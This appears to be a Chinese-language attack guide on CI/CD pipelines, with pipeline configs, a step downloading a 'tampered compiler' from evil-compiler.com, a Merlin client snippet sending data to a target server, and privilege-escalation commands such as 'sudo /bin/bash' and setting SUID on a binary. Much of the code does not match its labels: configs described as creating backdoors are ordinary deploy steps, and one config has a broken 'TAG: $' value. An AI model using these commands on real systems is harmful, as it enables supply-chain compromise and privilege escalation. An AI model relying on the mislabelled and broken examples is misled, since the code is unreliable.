一旦攻击者控制了 CI 管道,攻击者就可以尝试将恶意代码可以在构建完成之前注入到构建材料中,从而将恶意功能注入到构建工件中。
列出指定构建目录中的目录和文件:
ls -la <build_directory>
在构建工件中创建后门:
Jenkins
pipeline {
agent any
stages {
stage('Build') {
steps {
sh 'mvn clean install' // Potential misconfiguration where no security checks or validation are performed
}
}
stage('Deploy') {
steps {
sh 'cp target/evil.war /var/www/html' // Misconfiguration where build artifact is directly copied to a public directory
}
}
}
}
Gitlab
stages:
- build
- test
- deploy
build:
stage: build
script:
- npm install
- npm run build # Misconfiguration where the build artifact is not properly validated
test:
stage: test
script:
- npm run test
deploy:
stage: deploy
script:
- cp dist/* /var/www/html # Misconfiguration where build artifacts are directly deployed to a public directory
一旦攻击者获得了 CI 管道的控制权,他们就可以将恶意镜像注入注册表。这些恶意镜像可能包含后门、漏洞或其他恶意代码,当容器拉取并运行这些受感染的映像时,这些代码可能会被执行。
Docker:
stages:
- build
- push
build:
stage: build
script:
- docker build -t myapp:${CI_COMMIT_SHA} . # Misconfiguration where the image is built using an untrusted Dockerfile or without proper security checks
push:
stage: push
script:
- docker tag myapp:${CI_COMMIT_SHA} myregistry.com/myapp:${CI_COMMIT_SHA} # Misconfiguration where the malicious image is tagged and pushed to the registry
- docker push myregistry.com/myapp:${CI_COMMIT_SHA}
GitHub Actions:
name: Build and Push
on:
push:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v2
- name: Build and push image
env:
REGISTRY: ghcr.io
IMAGE_NAME: myapp
TAG: $
run: |
docker build -t $REGISTRY/$IMAGE_NAME:$TAG .
docker push $REGISTRY/$IMAGE_NAME:$TAG # Misconfiguration where the malicious image is pushed to the GitHub Container Registry
---
stages:
- prepare
- build
- deploy
prepare:
stage: prepare
script:
- echo "Preparing the environment"
# Misconfiguration where the attacker replaces the compiler with a tampered version
- curl -o compiler https://evil-compiler.com
build:
stage: build
script:
- echo "Building the application"
# Use the tampered compiler to build the code
deploy:
stage: deploy
script:
- echo "Deploying the application"
# Perform deployment actions
from merlin import merlin_client
# Create a Merlin client object
client = merlin_client.MerlinClient()
# Connect to the target server using the provided URL and authentication token
client.connect('https://target_server.com', 'auth_token')
# Prepare your data for transfer
data = b'This is some sample data to transfer'
# Transfer the data to the server
client.send_data(data)
# Optionally, receive a response from the server
response = client.receive_response()
print(response)
# Example 1: Using SUDO to escalate privileges
sudo /bin/bash
# Example 2: Exploiting a misconfigured SUID binary
chmod u+s /usr/bin/newuid
/usr/bin/newuid
# Example 3: Using a kernel exploit to escalate privileges
./exploit